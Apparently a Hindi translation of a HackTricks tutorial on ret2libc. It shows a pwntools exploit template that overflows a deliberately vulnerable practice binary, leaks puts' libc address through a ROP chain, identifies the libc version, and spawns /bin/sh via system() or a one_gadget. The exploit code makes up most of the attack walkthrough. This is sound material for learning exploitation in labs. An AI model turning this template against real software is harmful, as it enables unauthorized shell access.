ROP के साथ libc पता लीक करना
Reading time: 11 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
त्वरित सारांश
- ओवरफ्लो ऑफसेट खोजें
- खोजें
POP_RDI
गैजेट,PUTS_PLT
औरMAIN
गैजेट - पिछले गैजेट्स का उपयोग करें puts या अन्य libc फ़ंक्शन का मेमोरी पता लीक करने के लिए और libc संस्करण खोजें (donwload it)
- पुस्तकालय के साथ, ROP की गणना करें और इसका शोषण करें
अभ्यास के लिए अन्य ट्यूटोरियल और बाइनरी
यह ट्यूटोरियल इस ट्यूटोरियल में प्रस्तावित कोड/बाइनरी का शोषण करने जा रहा है: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
अन्य उपयोगी ट्यूटोरियल: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
कोड
फाइल का नाम: vuln.c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie
ROP - LIBC लीक करने का टेम्पलेट
एक्सप्लॉइट डाउनलोड करें और इसे कमजोर बाइनरी के समान निर्देशिका में रखें और स्क्रिप्ट को आवश्यक डेटा दें:
1- ऑफसेट खोजना
टेम्पलेट को एक्सप्लॉइट के साथ आगे बढ़ने से पहले एक ऑफसेट की आवश्यकता होती है। यदि कोई प्रदान किया गया है, तो यह इसे खोजने के लिए आवश्यक कोड निष्पादित करेगा (डिफ़ॉल्ट रूप से OFFSET = ""
):
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
कार्यान्वित करें python template.py
एक GDB कंसोल खोला जाएगा जिसमें प्रोग्राम क्रैश हो रहा है। उस GDB कंसोल के अंदर x/wx $rsp
निष्पादित करें ताकि बाइट्स प्राप्त हो सकें जो RIP को ओवरराइट करने वाले थे। अंत में एक python कंसोल का उपयोग करके ऑफसेट प्राप्त करें:
from pwn import *
cyclic_find(0x6161616b)
ऑफसेट (इस मामले में 40) खोजने के बाद, उस मान का उपयोग करके टेम्पलेट के अंदर OFFSET वेरिएबल को बदलें।
OFFSET = "A" * 40
एक और तरीका होगा: pattern create 1000
-- ret तक निष्पादित करें -- pattern seach $rsp
GEF से।
2- गैजेट्स खोजना
अब हमें बाइनरी के अंदर ROP गैजेट्स खोजने की आवश्यकता है। ये ROP गैजेट्स puts
को कॉल करने के लिए उपयोगी होंगे ताकि libc का पता लगाया जा सके, और बाद में अंतिम एक्सप्लॉइट लॉन्च करने के लिए।
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]
log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
PUTS_PLT
को function puts को कॉल करने के लिए आवश्यक है।
MAIN_PLT
को main function को फिर से कॉल करने के लिए आवश्यक है एक इंटरैक्शन के बाद overflow को फिर से exploit करने के लिए (शाश्वत शोषण के राउंड)। यह प्रत्येक ROP के अंत में प्रोग्राम को फिर से कॉल करने के लिए उपयोग किया जाता है।
POP_RDI को कॉल की गई फ़ंक्शन को parameter pass करने के लिए आवश्यक है।
इस चरण में आपको कुछ भी निष्पादित करने की आवश्यकता नहीं है क्योंकि सब कुछ pwntools द्वारा निष्पादन के दौरान पाया जाएगा।
3- libc लाइब्रेरी खोजना
अब यह पता लगाने का समय है कि कौन सी libc लाइब्रेरी का संस्करण उपयोग किया जा रहा है। ऐसा करने के लिए हम function puts
के मेमोरी में address को leak करने जा रहे हैं और फिर हम यह खोजने जा रहे हैं कि उस पते में puts संस्करण किस library version में है।
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
इसको करने के लिए, निष्पादित कोड की सबसे महत्वपूर्ण पंक्ति है:
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
यह कुछ बाइट्स भेजेगा जब तक RIP को ओवरराइट करना संभव न हो: OFFSET
.
फिर, यह गैजेट POP_RDI
का पता सेट करेगा ताकि अगला पता (FUNC_GOT
) RDI रजिस्ट्रि में सहेजा जा सके। इसका कारण यह है कि हम puts को कॉल करना चाहते हैं उसे PUTS_GOT
का पता पास करते हुए क्योंकि मेमोरी में puts फ़ंक्शन का पता PUTS_GOT
द्वारा इंगित किए गए पते में सहेजा गया है।
इसके बाद, PUTS_PLT
को कॉल किया जाएगा (जिसमें PUTS_GOT
RDI के अंदर है) ताकि puts PUTS_GOT
के अंदर की सामग्री (मेमोरी में puts फ़ंक्शन का पता) को पढ़े और इसे प्रिंट करे।
अंत में, मुख्य फ़ंक्शन फिर से कॉल किया जाता है ताकि हम फिर से ओवरफ्लो का लाभ उठा सकें।
इस तरह हमने puts फ़ंक्शन को प्रिंट करने के लिए धोखा दिया है मेमोरी में फ़ंक्शन puts का पता (जो libc लाइब्रेरी के अंदर है)। अब जब हमारे पास वह पता है, हम खोज सकते हैं कि कौन सा libc संस्करण उपयोग में है।
चूंकि हम कुछ स्थानीय बाइनरी का शोषण कर रहे हैं, इसलिए यह जानने की आवश्यकता नहीं है कि कौन सा libc संस्करण उपयोग में है (बस /lib/x86_64-linux-gnu/libc.so.6
में लाइब्रेरी खोजें)।
लेकिन, एक दूरस्थ शोषण मामले में, मैं यहाँ बताऊंगा कि आप इसे कैसे खोज सकते हैं:
3.1- libc संस्करण की खोज (1)
आप वेब पृष्ठ पर देख सकते हैं कि कौन सी लाइब्रेरी उपयोग में है: https://libc.blukat.me/
यह आपको libc के खोजे गए संस्करण को डाउनलोड करने की भी अनुमति देगा।
3.2- libc संस्करण की खोज (2)
आप यह भी कर सकते हैं:
$ git clone https://github.com/niklasb/libc-database.git
$ cd libc-database
$ ./get
इसमें कुछ समय लगेगा, धैर्य रखें।
इसके काम करने के लिए हमें आवश्यकता है:
- Libc प्रतीक नाम:
puts
- लीक किया गया libc पता:
0x7ff629878690
हम यह पता लगा सकते हैं कि कौन सा libc सबसे अधिक संभावना है कि उपयोग में है।
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
हमारे पास 2 मेल हैं (यदि पहला काम नहीं कर रहा है तो आपको दूसरे को आजमाना चाहिए)। पहला डाउनलोड करें:
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so
से libc को हमारी कार्यशील निर्देशिका में कॉपी करें।
3.3- लीक करने के लिए अन्य फ़ंक्शन
puts
printf
__libc_start_main
read
gets
4- आधारित libc पता लगाना और शोषण करना
इस बिंदु पर हमें उपयोग की जाने वाली libc लाइब्रेरी का पता होना चाहिए। चूंकि हम एक स्थानीय बाइनरी का शोषण कर रहे हैं, मैं बस उपयोग करूंगा: /lib/x86_64-linux-gnu/libc.so.6
तो, template.py
के शुरुआत में libc वेरिएबल को बदलें: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
libc लाइब्रेरी के लिए पथ देने से शोषण स्वचालित रूप से गणना किया जाएगा।
get_addr
फ़ंक्शन के अंदर libc का आधार पता गणना किया जाएगा:
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
note
ध्यान दें कि अंतिम libc बेस पता 00 पर समाप्त होना चाहिए। यदि ऐसा नहीं है, तो आप एक गलत पुस्तकालय लीक कर सकते हैं।
फिर, फ़ंक्शन system
का पता और स्ट्रिंग "/bin/sh" का पता libc के बेस पते से गणना किया जाएगा और libc पुस्तकालय दिया जाएगा।
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
अंत में, /bin/sh निष्पादन शोषण तैयार किया जा रहा है:
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
p.clean()
p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
आइए इस अंतिम ROP को समझाते हैं।
अंतिम ROP (rop1
) ने फिर से मुख्य फ़ंक्शन को कॉल किया, फिर हम फिर से शोषण कर सकते हैं ओवरफ्लो (इसलिए OFFSET
यहाँ फिर से है)। फिर, हम POP_RDI
को कॉल करना चाहते हैं जो "/bin/sh" (BINSH
) के पते की ओर इशारा करता है और system फ़ंक्शन (SYSTEM
) को कॉल करते हैं क्योंकि "/bin/sh" का पता एक पैरामीटर के रूप में पास किया जाएगा।
अंत में, exit फ़ंक्शन का पता कॉल किया जाता है ताकि प्रक्रिया अच्छी तरह से समाप्त हो जाए और कोई अलर्ट उत्पन्न न हो।
इस तरह शोषण एक _/bin/sh_** शेल को निष्पादित करेगा।**
4(2)- ONE_GADGET का उपयोग करना
आप ONE_GADGET का उपयोग करके system और "/bin/sh" के बजाय एक शेल प्राप्त कर सकते हैं। ONE_GADGET libc पुस्तकालय के अंदर एक शेल प्राप्त करने का एक तरीका खोजेगा जो केवल एक ROP पता का उपयोग करता है।
हालांकि, सामान्यतः कुछ सीमाएँ होती हैं, सबसे सामान्य और आसानी से बचने वाली सीमाएँ हैं जैसे [rsp+0x30] == NULL
। चूंकि आप RSP के अंदर के मानों को नियंत्रित करते हैं, इसलिए आपको कुछ और NULL मान भेजने की आवश्यकता है ताकि सीमा से बचा जा सके।
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
EXPLOIT FILE
आप इस कमजोरियों का फायदा उठाने के लिए एक टेम्पलेट यहाँ पा सकते हैं:
सामान्य समस्याएँ
MAIN_PLT = elf.symbols['main'] नहीं मिला
यदि "main" प्रतीक मौजूद नहीं है। तो आप मुख्य कोड कहाँ है, यह पता कर सकते हैं:
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
और पते को मैन्युअल रूप से सेट करें:
MAIN_PLT = 0x401080
Puts नहीं मिला
यदि बाइनरी Puts का उपयोग नहीं कर रही है, तो आपको यह जांचना चाहिए कि क्या यह उपयोग कर रही है
sh: 1: %s%s%s%s%s%s%s%s: नहीं मिला
यदि आप सभी एक्सप्लॉइट बनाने के बाद यह त्रुटि पाते हैं: sh: 1: %s%s%s%s%s%s%s%s: नहीं मिला
तो "/bin/sh" के पते से 64 बाइट घटाने का प्रयास करें:
BINSH = next(libc.search("/bin/sh")) - 64
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।